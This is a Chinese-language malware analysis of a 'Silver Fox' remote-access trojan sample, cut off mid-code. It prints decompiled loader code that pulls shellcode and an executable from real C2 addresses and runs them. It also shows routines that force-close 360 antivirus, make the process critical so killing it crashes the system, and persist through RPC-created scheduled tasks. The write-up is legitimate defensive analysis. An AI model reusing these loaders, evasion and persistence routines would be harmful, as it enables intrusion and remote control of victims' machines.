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【病毒分析】R3强杀360：银狐远控病毒再进化
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1. 背景 1.1 病毒介绍 银狐病毒自2022年起活跃，主要针对中国用户和企事业单位，尤其是财务、管理和专业领域的从业人员。该病毒通过多种攻击手段传播，包括伪装为税务、财务相关文件的钓鱼邮...
1. 背景 ===== 1.1 病毒介绍 -------- 银狐病毒自2022年起活跃，主要针对中国用户和企事业单位，尤其是财务、管理和专业领域的从业人员。该病毒通过多种攻击手段传播，包括伪装为税务、财务相关文件的钓鱼邮件、社交平台的恶意链接，以及利用SEO（搜索引擎优化）确保其钓鱼网站在中国搜索引擎中的排名靠前。此外，银狐还结合恶意广告投放和多次电子邮件钓鱼活动，分发远程管理木马（RATs），以实现对受害者设备的远程控制和数据窃取。 以下为近期捕获到的一起银狐病毒样本，我们对其进行了深入分析。   2. 文件分析 ======= 2.1 基本信息 -------- | 文件名 | 明细查看\_Setup.exe | |---|---| | 大小 | 2.67 MB | | 操作系统 | Windows(Vista)\[AMD64, 64位, GUI\] | | 模式 | 32 位 | | 类型 | EXEC | | 字节序 | LE | | MD5 | 1a416558435d62dcca79346e6b839370 | | SHA1 | 039e938f5af45edc168c6aa6ebe450f2bc7eddd7 | | SHA256 | 035d72733b7ef722b7a8c7f067ff558f04c737cf0231aea54a6567a39ef84aea | ### 2.1.1 程序执行流程 程序执行流程如下，通过多次远程加载shellcode执行远控  ### 2.1.2 初次远程加载shellcode 程序入口为start  其中第一个函数便是用于加载shellcode的   遍历函数数组逐个执行函数 ```C int shellcode_execute_1() { int result; // eax int v1; // edi int v2; // ebx void (*v3)(void); // esi unsigned int v4[6]; // [esp-Ch] [ebp-1Ch] BYREF int v5; // [esp+Ch] [ebp-4h] int savedregs; // [esp+10h] [ebp+0h] BYREF result = dword_6827D0; if ( dword_6827D0 ) { v1 = *(_DWORD *)dword_6827D0; v2 = 0; v5 = *(_DWORD *)(dword_6827D0 + 4); v4[2] = (unsigned int)&savedregs; v4[1] = (unsigned int)&loc_40508D; v4[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList; __writefsdword(0, (unsigned int)v4); if ( v1 > 0 ) { do { v3 = *(void (**)(void))(v5 + 8 * v2++); dword_6827D4 = v2; if ( v3 ) v3(); } while ( v1 > v2 ); } result = 0; __writefsdword(0, v4[0]); } return result; } ``` 如下  最后执行用于远程加载shellcode的函数 ```C int sub_65D174() { int v1; // [esp+0h] [ebp-204h] BYREF _DWORD v2[4]; // [esp+190h] [ebp-74h] BYREF int (__stdcall *VirtualAlloc)(_DWORD, int, int, int); // [esp+1A0h] [ebp-64h] void (__stdcall *WSAStartup)(int, int *); // [esp+1ACh] [ebp-58h] int (__stdcall *socket)(int, int, _DWORD); // [esp+1B0h] [ebp-54h] int (__stdcall *htons)(int); // [esp+1B4h] [ebp-50h] void (__stdcall *connect)(int, _WORD *, int); // [esp+1BCh] [ebp-48h] int (__stdcall *recv)(int, char *, int, _DWORD); // [esp+1C8h] [ebp-3Ch] int v9; // [esp+1CCh] [ebp-38h] int v10; // [esp+1D0h] [ebp-34h] _WORD v11[2]; // [esp+1D4h] [ebp-30h] BYREF int ip_addr; // [esp+1D8h] [ebp-2Ch] int (*v13)(void); // [esp+1E4h] [ebp-20h] int v14; // [esp+1E8h] [ebp-1Ch] char v15[8]; // [esp+1ECh] [ebp-18h] BYREF char v16[8]; // [esp+1F4h] [ebp-10h] BYREF int v17; // [esp+1FCh] [ebp-8h] int v18; // [esp+200h] [ebp-4h] sub_65D284(v2); v13 = (int (*)(void))VirtualAlloc(0, 122880, 12288, 64); v17 = 0; v10 = 4096; v9 = 118784; WSAStartup(514, &v1); v14 = socket(2, 1, 0); v11[0] = 2; v11[1] = htons(8852); ip_addr = 0xF511FB9C; connect(v14, v11, 16); while ( 1 ) { v18 = recv(v14, (char *)v13 + v17, 4096, 0); if ( v18 <= 0 ) break; v17 += v18; } strcpy(v16, "hello"); strcpy(v15, "hel1o"); return v13(); } ``` ### 2.1.3 二次远程加载shellcode 向地址[156.251.17.245:8852](https://x.threatbook.com/v5/ip/156.251.17.245)发送请求远程加载shellcode  然后指针执行shellcode  发现指针unk\_3470BD7指向一个pe文件  将其dump下来 2.2 反射加载dll ----------- ### 2.2.1 dll初步分析 发现是一个dll文件  其中这个dll提供了一个导出函数  初步查看似乎是与关闭360相关的  ### 2.2.2 加载函数并进行dll的校验 加载函数 ```C kernel32_dll_str[0] = 'k'; kernel32_dll_str[1] = 'e'; kernel32_dll_str[4] = 'e'; kernel32_dll_str[6] = '3'; kernel32_dll_str[7] = '2'; kernel32_dll_str[8] = '.'; v112 = 0; VirtualAlloc = 0; FlushInstructionCache = 0; GetNativeSystemInfo = 0; VirtualProtect = 0; Sleep_1 = 0; v118 = 0; kernel32_dll_str[2] = 'r'; kernel32_dll_str[3] = 'n'; kernel32_dll_str[5] = 'l'; kernel32_dll_str[9] = 'd'; kernel32_dll_str[10] = 'l'; kernel32_dll_str[11] = 'l'; qmemcpy(Sleep, "Sleep", 5); qmemcpy(v106, "VirtualAllocLoadLibraryAVirtualProtect", 38); qmemcpy(v109, "FlushInstructionCache", 21); qmemcpy(v107, "GetNativeSystemInfo", 19); qmemcpy(v108, "RtlAddFunctionTable", 19); LdrLoadDll = (void (__stdcall *)(_DWORD, _DWORD, _WORD *, int *))LdrGetProcedureAddress(v86, v88, v90, v92); ProcedureAddress = (char *)LdrGetProcedureAddress(v87, v89, v91, v93); v120 = kernel32_dll_str; v119[1] = 24; v119[0] = 24; v103 = ProcedureAddress; LdrLoadDll(0, 0, v119, &v97); v94 = 0xC000C; v95 = v106; ((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(_DWORD, int, int, int)))ProcedureAddress)( v97, &v94, 0, &VirtualAlloc); v94 = 917518; v95 = &v106[6]; ((void (__stdcall *)(int, int *, _DWORD, _DWORD))ProcedureAddress)(v97, &v94, 0, &VirtualProtect); v94 = 1376277; v95 = v109; ((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(int, _DWORD, _DWORD)))ProcedureAddress)( v97, &v94, 0, &FlushInstructionCache); v94 = 1245203; v95 = v107; ((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(char *)))ProcedureAddress)( v97, &v94, 0, &GetNativeSystemInfo); v94 = 0x50005; v95 = Sleep; ((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(unsigned int)))ProcedureAddress)(v97, &v94, 0, &Sleep_1); v94 = 1245203; v95 = v108; ((void (__stdcall *)(int, int *, _DWORD, int *))ProcedureAddress)(v97, &v94, 0, &v118); v94 = 0xC000C; v95 = &v106[3]; ((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(int)))ProcedureAddress)(v97, &v94, 0, &v112); if ( !VirtualAlloc ) return 0; if ( !VirtualProtect ) return 0; if ( !Sleep_1 ) return 0; if ( !FlushInstructionCache ) return 0; if ( !GetNativeSystemInfo ) return 0; ``` 获取dll中导出函数的地址 ```C int __stdcall LdrGetProcedureAddressForCaller(int a1, int a2, int a3, int a4) { void *retaddr; // [esp+4h] [ebp+4h] return ((int (__stdcall *)(int, int, int, int, _DWORD, void *))ntdll_LdrGetProcedureAddressForCaller)( a1, a2, a3, a4, 0, retaddr); } ``` 校验pe结构 ```C str_PE = &a1[*((_DWORD *)a1 + 15)]; if ( *(_DWORD *)str_PE != 'EP' ) return 0; if ( *((_WORD *)str_PE + 2) != 332 ) return 0; v10 = *((_DWORD *)str_PE + 14); if ( (v10 & 1) != 0 ) return 0; v11 = 0; v12 = *((unsigned __int16 *)str_PE + 3); if ( *((_WORD *)str_PE + 3) ) { v13 = &str_PE[*((unsigned __int16 *)str_PE + 10) + 36]; do { if ( *((_DWORD *)v13 + 1) ) v10 = *((_DWORD *)v13 + 1); v14 = *(_DWORD *)v13 + v10; if ( v14 <= v11 ) v14 = v11; v13 += 40; v11 = v14; v10 = *((_DWORD *)str_PE + 14); --v12; } while ( v12 ); v8 = a1; } ``` 经过一系列的自解密后刷新进程的指令缓存  ### 2.2.3 执行dll 然后执行  即在内存中反射加载的dll的DllEntryPoint中的起始部分，生成了一个伪随机数  Dllmain ```C int __cdecl dllmain_dispatch(HINSTANCE hinstDLL, DWORD fdwReason, void *const lpvReserved) { void *v4; // ebx int v5; // esi int v6; // eax if ( !fdwReason && dword_1000D168 <= 0 ) return 0; if ( fdwReason != 1 && fdwReason != 2 ) { v4 = lpvReserved; LABEL_9: v6 = ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain)(hinstDLL, fdwReason, v4); v5 = v6; if ( fdwReason == 1 && !v6 ) { ((void (__stdcall *)(HINSTANCE, _DWORD, void *))dllmain)(hinstDLL, 0, v4); ((void (__cdecl *)(bool))unk_100077D9)(v4 != 0); ((void (__stdcall *)(HINSTANCE, _DWORD, void *))dllmain_raw)(hinstDLL, 0, v4); } if ( !fdwReason || fdwReason == 3 ) { v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain_crt_dispatch)(hinstDLL, fdwReason, v4); if ( v5 ) return ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain_raw)(hinstDLL, fdwReason, v4); } return v5; } v4 = lpvReserved; v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *const))dllmain_raw)(hinstDLL, fdwReason, lpvReserved); if ( v5 ) { v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *const))dllmain_crt_dispatch)(hinstDLL, fdwReason, lpvReserved); if ( v5 ) goto LABEL_9; } return v5; } ``` 判断自身是否位于`C:\\Users\\username\\AppData\\Roaming\\`目录下，如果不在则将自身移动到`C:\\Users\\username\\AppData\\Roaming\\`目录下，下并调用ShellExecuteA打开，然后退出程序 ```C int __usercall sub_100020A0@(int a1@) { bool v1; // cf int *v3; // eax _DWORD v4[6]; // [esp+4h] [ebp-19Ch] BYREF _DWORD v5[6]; // [esp+1Ch] [ebp-184h] BYREF int *v6; // [esp+34h] [ebp-16Ch] int v7; // [esp+38h] [ebp-168h] int *v8; // [esp+3Ch] [ebp-164h] const char *v9; // [esp+40h] [ebp-160h] const char *v10; // [esp+44h] [ebp-15Ch] BOOL v11; // [esp+48h] [ebp-158h] int v12; // [esp+4Ch] [ebp-154h] int *v13; // [esp+50h] [ebp-150h] unsigned __int8 *v14; // [esp+54h] [ebp-14Ch] bool v15; // [esp+59h] [ebp-147h] unsigned __int8 v16; // [esp+5Ah] [ebp-146h] unsigned __int8 v17; // [esp+5Bh] [ebp-145h] int v18[6]; // [esp+5Ch] [ebp-144h] BYREF int v19[6]; // [esp+74h] [ebp-12Ch] BYREF _BYTE v20[260]; // [esp+8Ch] [ebp-114h] BYREF int v21; // [esp+19Ch] [ebp-4h] get_path(v18, 26); v21 = 0; sub_10001920((int)v19); LOBYTE(v21) = 1; v10 = (const char *)sub_100029F0(v19); v9 = (const char *)sub_100029F0(v18); sprintf((int)v20, 260, (int)"%s\\%s", v9, v10); v8 = sub_100018C0(v5); v13 = sub_100029F0(v8); v14 = v20; while ( 1 ) { v17 = *v14; v1 = v17 < *(_BYTE *)v13; if ( v17 != *(_BYTE *)v13 ) break; if ( !v17 ) goto LABEL_6; v16 = v14[1]; v1 = v16 < *((_BYTE *)v13 + 1); if ( v16 != *((_BYTE *)v13 + 1) ) break; v14 += 2; v13 = (int *)((char *)v13 + 2); if ( !v16 ) { LABEL_6: v12 = 0; goto LABEL_8; } } v12 = v1 ? -1 : 1; LABEL_8: v7 = v12; v11 = v12 == 0; v15 = v12 == 0; sub_10002A40(v5); if ( v15 ) { LOBYTE(v21) = 0; sub_10002A40(v19); v21 = -1; return sub_10002A40(v18); } else { v6 = sub_100018C0(v4); v3 = sub_100029F0(v6); kernel32_CopyFileA(a1, (int)v3, (int)v20, 0); sub_10002A40(v4); ((void (__stdcall *)(_DWORD, const char *, _BYTE *, _DWORD, _DWORD, int))shell32_ShellExecuteA)( 0, "open", v20, 0, 0, 1); ((void (__stdcall *)(_DWORD))ucrtbase_exit)(0); LOBYTE(v21) = 0; sub_10002A40(v19); v21 = -1; return sub_10002A40(v18); } } ``` 然后执行反射加载的dll中的导出函数VFPower  ### 2.2.4 函数VFPower执行流程  ### 2.2.5 远程加载用于强关360的exe 下载了一个名为project的exe ```C ppResult = 0; i = 0; WSAStartup(0x202u, &WSAData); pHints.ai_flags = 0; memset(&pHints.ai_addrlen, 0, 16); pHints.ai_family = 2; pHints.ai_socktype = 1; pHints.ai_protocol = 6; v7 = getaddrinfo("154.37.214.153", "18853", &pHints, &ppResult); if ( v7 ) { WSACleanup(); exit(0); } for ( i = ppResult; i; i = i->ai_next ) { s = socket(i->ai_family, i->ai_socktype, i->ai_protocol); if ( s == -1 ) { WSACleanup(); exit(0); } v7 = connect(s, i->ai_addr, i->ai_addrlen); if ( v7 != -1 ) break; closesocket(s); s = -1; } freeaddrinfo(ppResult); if ( s == -1 ) { WSACleanup(); exit(0); } v8 = 0; ElementCount = 0; Size = 4096; Block = malloc(0x1000u); while ( 1 ) { v8 = recv(s, (char *)Block + ElementCount, Size - ElementCount, 0); if ( v8 <= 0 ) break; ElementCount += v8; if ( ElementCount == Size ) { Size *= 2; Block = realloc(Block, Size); } if ( v8 <= 0 ) goto LABEL_19; } if ( v8 ) { closesocket(s); WSACleanup(); free(Block); exit(0); } LABEL_19: closesocket(s); WSACleanup(); v5 = sub_10001800((int)v4, 26); v4[7] = v5; v18 = 0; sub_100035B0((int)v16, v5, "\\project.exe"); v18 = -1; sub_10002650(v4); v0 = (const char *)sub_10002600(v16); Stream = fopen(v0, "wb"); if ( !Stream ) { free(Block); exit(0); } v4[6] = fwrite(Block, 1u, ElementCount, Stream); fclose(Stream); free(Block); v1 = (const CHAR *)sub_10002600(v16); ``` 执行它，然后再删除文件 ```C WinExec(v1, 0); while ( 1 ) { v2 = (const CHAR *)sub_10002600(v16); if ( DeleteFileA(v2) ) break; Sleep(0x3E8u); } return sub_10002650(v16); ```  检测进程函数 ```C char __cdecl CheckProcessExists(int a1) { int v2; // eax int v3; // [esp+0h] [ebp-238h] int v4; // [esp+4h] [ebp-234h] _DWORD v5[9]; // [esp+8h] [ebp-230h] BYREF _BYTE v6[520]; // [esp+2Ch] [ebp-20Ch] BYREF v4 = ((int (__stdcall *)(int, _DWORD))kernel32_CreateToolhelp32Snapshot)(2, 0); if ( v4 == -1 ) return 0; v5[0] = 556; if ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32FirstW)(v4, v5) ) { do { v2 = ((int (__thiscall *)(int))unk_10002890)(a1); if ( !((int (__cdecl *)(_BYTE *, int))ucrtbase__wcsicmp)(v6, v2) ) { ((void (__stdcall *)(int))kernel32_CloseHandle)(v4); return 1; } } while ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32NextW)(v4, v5) ); ((void (__stdcall *)(int))kernel32_CloseHandle)(v4); return 0; } else { v3 = ((int (__cdecl *)(void *, const char *))unk_10003600)( &msvcp140__cerr_std__3V__basic_ostream_DU__char_traits_D_std___1_A, "Failed to retrieve first process."); ((void (__thiscall *)(int, void *))msvcp140___5__basic_istream_DU__char_traits_D_std___std__QAEAAV01_P6AAAV01_AAV01__Z_Z)( v3, &unk_10003950); ((void (__stdcall *)(int))kernel32_CloseHandle)(v4); return 0; } } ``` 判断360tray.exe是否存在  ### 2.2.6 利用BSOD技术将自身设为系统关键进程 提权并将自己设置为系统关键进程。如果进程被关闭，则会造成蓝屏。 ```C v18 = ((int (__stdcall *)(const wchar_t *))kernel32_LoadLibraryW)(L"ntdll.dll"); RtlAdjustPrivilege = (NTSTATUS (__stdcall *)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN))((int (__stdcall *)(int, const char *))kernel32_GetProcAddress)( v18, "RtlAdjustPrivilege"); RtlSetProcessIsCritical = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))((int (__stdcall *)(int, const char *))kernel32_GetProcAddress)( v18, "RtlSetProcessIsCritical"); v11 = RtlAdjustPrivilege; RtlAdjustPrivilege(0x14u, 1u, 0, &v31); v10 = RtlSetProcessIsCritical; RtlSetProcessIsCritical(1, 0, 0); ((void (__thiscall *)(_BYTE *, const wchar_t *))copy_str)(v3, L"360tray.exe"); v26 |= 0x10u; v17 = !(unsigned __int8)((int (__cdecl *)(_BYTE *))CheckProcessExists)(v3) && (((void (__thiscall *)(_BYTE *, const wchar_t *))copy_str)(v4, L"360Tray.exe"), v26 |= 0x20u, !(unsigned __int8)((int (__cdecl *)(_BYTE *))CheckProcessExists)(v4)); v22 = v17; ``` 如果进程被关闭，则会造成蓝屏。  ### 2.2.7 rpc维权 利用rpc创建计划任务实现维权。具体手法可以参考文章https://developer.aliyun.com/article/1342895 ```C RPC_BINDING_HANDLE sub_10004C70() { RPC_WSTR StringBinding; // [esp+Ch] [ebp-1Ch] BYREF RPC_BINDING_HANDLE Binding; // [esp+10h] [ebp-18h] BYREF RPC_SECURITY_QOS SecurityQos; // [esp+14h] [ebp-14h] BYREF Binding = 0; memset(&SecurityQos, 0, sizeof(SecurityQos)); if ( RpcStringBindingComposeW(0, L"ncacn_np", (RPC_WSTR)L"localhost", L"\\pipe\\atsvc", 0, &StringBinding) ) return 0; RpcBindingFromStringBindingW(StringBinding, &Binding); SecurityQos.Version = 1; SecurityQos.ImpersonationType = 3; SecurityQos.Capabilities = 0; SecurityQos.IdentityTracking = 0; RpcBindingSetAuthInfoExA(Binding, 0, 6u, 0xAu, 0, 0, &SecurityQos); RpcStringFreeW(&StringBinding); return Binding; } int __cdecl sub_100070F0(char a1) { return ((int (__cdecl *)(_UNKNOWN **, char *, char *))rpcrt4_NdrClientCall2)( &off_1000A520, (char *)&unk_1000A5BA + 40, &a1); } ``` 内置了一段计划任务相关的xml文档 ```C aXmlVersion10En: ; DATA XREF: .data:off_1000D0C4↓o text "UTF-16LE", '<?xml version="1.0" encoding="UTF-16"?>',0Ah text "UTF-16LE", '',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' 2006-11-10T14:29:55.5851926',0Ah text "UTF-16LE", ' Microsoft Corporation',0Ah text "UTF-16LE", ' ' .rdata:10009666 aAdRmsWebDescr: text "UTF-16LE", '更新用户的 AD RMS 权限策略模板。如果对服务器上模板分发 Web 服务的身份验证失败，此作业将提' text "UTF-16LE", '供凭据提示。',0Ah text "UTF-16LE", ' \WakeUpAndContinueUpdatesde',0Ah text "UTF-16LE", ' D:(A;;FA;;;BA)(A;;FA;;;SY)(' text "UTF-16LE", 'A;;FRFX;;;WD)',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' true',0Ah text "UTF-16LE", ' PT30S',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' S-1-1-0',0Ah text "UTF-16LE", ' HighestAvailable',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' Parallel' text "UTF-16LE", 'ancesPolicy>',0Ah text "UTF-16LE", ' false' text "UTF-16LE", 'tIfOnBatteries>',0Ah text "UTF-16LE", ' false' text "UTF-16LE", 'teries>',0Ah text "UTF-16LE", ' false',0Ah text "UTF-16LE", ' true',0Ah text "UTF-16LE", ' true' text "UTF-16LE", 'rkAvailable>',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' true',0Ah text "UTF-16LE", ' false',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' true',0Ah text "UTF-16LE", ' true',0Ah text "UTF-16LE", ' false',0Ah text "UTF-16LE", ' false',0Ah text "UTF-16LE", ' false' text "UTF-16LE", 'wStartOnRemoteAppSession>',0Ah text "UTF-16LE", ' true' text "UTF-16LE", 'edulingEngine>',0Ah text "UTF-16LE", ' false',0Ah text "UTF-16LE", ' PT0S',0Ah text "UTF-16LE", ' 7',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' PT1M',0Ah text "UTF-16LE", ' 16',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' 5555555555',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", ' ',0Ah text "UTF-16LE", '',0Ah,0 ``` 创建了如下计划任务  ### 2.2.8 第三次远程加载shellcode，执行远控 又从一个新的地址`156.251.17.245:18852`远程加载shellcode ```C { int (*v1)(void); // [esp+0h] [ebp-1D8h] int v2; // [esp+8h] [ebp-1D0h] int v3; // [esp+Ch] [ebp-1CCh] int v4; // [esp+10h] [ebp-1C8h] int v5; // [esp+14h] [ebp-1C4h] int v6; // [esp+18h] [ebp-1C0h] _DWORD *i; // [esp+1Ch] [ebp-1BCh] _DWORD *v8; // [esp+20h] [ebp-1B8h] BYREF _BYTE v9[400]; // [esp+24h] [ebp-1B4h] BYREF _DWORD v10[8]; // [esp+1B4h] [ebp-24h] BYREF v8 = 0; ((void (__stdcall *)(int, _BYTE *))ws2_32_WSAStartup)(514, v9); v10[0] = 0; memset(&v10[4], 0, 16); v10[1] = 2; v10[2] = 1; v10[3] = 6; if ( ((int (__stdcall *)(const char *, const char *, _DWORD *, _DWORD **))ws2_32_getaddrinfo)( "156.251.17.245", "18852", v10, &v8) ) { goto LABEL_9; } for ( i = v8; i; i = (_DWORD *)i[7] ) { v6 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD))ws2_32_socket)(i[1], i[2], i[3]); if ( v6 == -1 ) goto LABEL_9; if ( ((int (__stdcall *)(int, _DWORD, _DWORD))ws2_32_connect)(v6, i[6], i[4]) != -1 ) break; ((void (__stdcall *)(int))ws2_32_closesocket)(v6); v6 = -1; } ((void (__stdcall *)(_DWORD *))ws2_32_FreeAddrInfoW)(v8); if ( v6 == -1 ) { LABEL_9: ((void (*)(void))ws2_32_WSACleanup)(); return ((int (__stdcall *)(_DWORD))ucrtbase_exit)(0); } else { v5 = 0; v4 = 4096; v2 = ((int (__cdecl *)(int))ucrtbase_malloc)(4096); while ( 1 ) { v3 = ((int (__stdcall *)(int, int, int, _DWORD))ws2_32_recv)(v6, v5 + v2, v4 - v5, 0); if ( v3 <= 0 ) break; v5 += v3; if ( v5 == v4 ) { v4 *= 2; v2 = ((int (__cdecl *)(int, int))ucrtbase_realloc)(v2, v4); } } if ( v3 ) { ((void (__stdcall *)(int))ws2_32_closesocket)(v6); ((void (*)(void))ws2_32_WSACleanup)(); ((void (__cdecl *)(int))ucrtbase_free)(v2); return ((int (__stdcall *)(_DWORD))ucrtbase_exit)(0); } else { v1 = (int (*)(void))((int (__stdcall *)(_DWORD, int, int, int))kernel32_VirtualAlloc)(0, v5, 12288, 64); ((void (__cdecl *)(int (*)(void), int, int))memset)(v1, v2, v5); return v1(); } } } ``` 动态加载api ```C v113[0] = 'k'; v113[1] = 'e'; v113[4] = 'e'; v113[6] = '3'; v113[7] = '2'; v113[8] = '.'; v108 = 0; VirtualAlloc = 0; FlushInstructionCache = 0; GetNativeSystemInfo = 0; VirtualProtect = 0; Sleep = 0; v114 = 0; v113[2] = 'r'; v113[3] = 'n'; v113[5] = 'l'; v113[9] = 'd'; v113[10] = 'l'; v113[11] = 'l'; qmemcpy(v97, "Sleep", 5); qmemcpy(v98, "VirtualAllocLoadLibraryAVirtualProtect", 38); qmemcpy(v105, "FlushInstructionCache", 21); qmemcpy(v103, "emInfo", sizeof(v103)); qmemcpy(v99, "Ge", sizeof(v99)); v100 = &unk_74614E74; qmemcpy(v101, "ive", sizeof(v101)); v102 = &unk_74737953; qmemcpy(v104, "RtlAddFunctionTable", 19); LdrLoadDll = load((void *)0xBDBF9C13); LdrGetProcedureAddressForCaller = load((void *)0x5ED941B5); v116 = v113; v115[1] = 24; v115[0] = 24; v95 = LdrGetProcedureAddressForCaller; ((void (__stdcall *)(_DWORD, _DWORD, _WORD *, int *))LdrLoadDll)(0, 0, v115, &v89); v86 = 786444; v87 = v98; ((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(_DWORD, int, int, int)))LdrGetProcedureAddressForCaller)( v89, &v86, 0, &VirtualAlloc); v86 = 917518; v87 = &v98[6]; ((void (__stdcall *)(int, int *, _DWORD, _DWORD))LdrGetProcedureAddressForCaller)(v89, &v86, 0, &VirtualProtect); v86 = 1376277; v87 = v105; ((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(int, _DWORD, _DWORD)))LdrGetProcedureAddressForCaller)( v89, &v86, 0, &FlushInstructionCache); v86 = 1245203; v87 = v99; ((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(char *)))LdrGetProcedureAddressForCaller)( v89, &v86, 0, &GetNativeSystemInfo); v86 = 327685; v87 = v97; ((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(unsigned int)))LdrGetProcedureAddressForCaller)( v89, &v86, 0, &Sleep); v86 = 1245203; v87 = v104; ((void (__stdcall *)(int, int *, _DWORD, int *))LdrGetProcedureAddressForCaller)(v89, &v86, 0, &v114); v86 = 786444; v87 = &v98[3]; ((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(int)))LdrGetProcedureAddressForCaller)( v89, &v86, 0, &v108); if ( !VirtualAlloc ) return 0; if ( !VirtualProtect ) return 0; if ( !Sleep ) return 0; if ( !FlushInstructionCache ) return 0; if ( !GetNativeSystemInfo ) return 0; ``` 生成配置信息 ```C int sub_35D29A0() { int result; // eax _DWORD v1[4]; // [esp-20h] [ebp-30h] BYREF int v2; // [esp-10h] [ebp-20h] int v3; // [esp-Ch] [ebp-1Ch] void *v4; // [esp-4h] [ebp-14h] wchar_t *v5; // [esp+Ch] [ebp-4h] if ( !byte_35F4FDC ) { byte_35F4FDC = 1; big_to_small((__int16 *)a1Js04t14364o21); ((void (__cdecl *)(void *, _DWORD, int))sub_35DB660)(&unk_35F3A98, 0, 4768); ((void (__cdecl *)(void *, _DWORD, int))sub_35DB660)(&unk_35F4D38, 0, 664); LOWORD(v1[0]) = 0; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"p1:", 0); v4 = &unk_35F3CB4; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"o1:", 0); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = (wchar_t *)v1; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"t1:", &dword_35F3CF0); v4 = &unk_35F3CF4; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"p2:", 0); v4 = &unk_35F3EF2; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"o2:", 0); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = (wchar_t *)v1; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"t2:", &dword_35F3F30); v4 = &unk_35F3F34; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"p3:", 0); v4 = &unk_35F4132; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"o3:", 0); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = (wchar_t *)v1; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"t3:", &dword_35F4170); v4 = &unk_35F4174; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"dd:", 0); v4 = &unk_35F41B0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"cl:", 0); v4 = &unk_35F41EC; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"fz:", 0); v4 = &unk_35F4250; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = 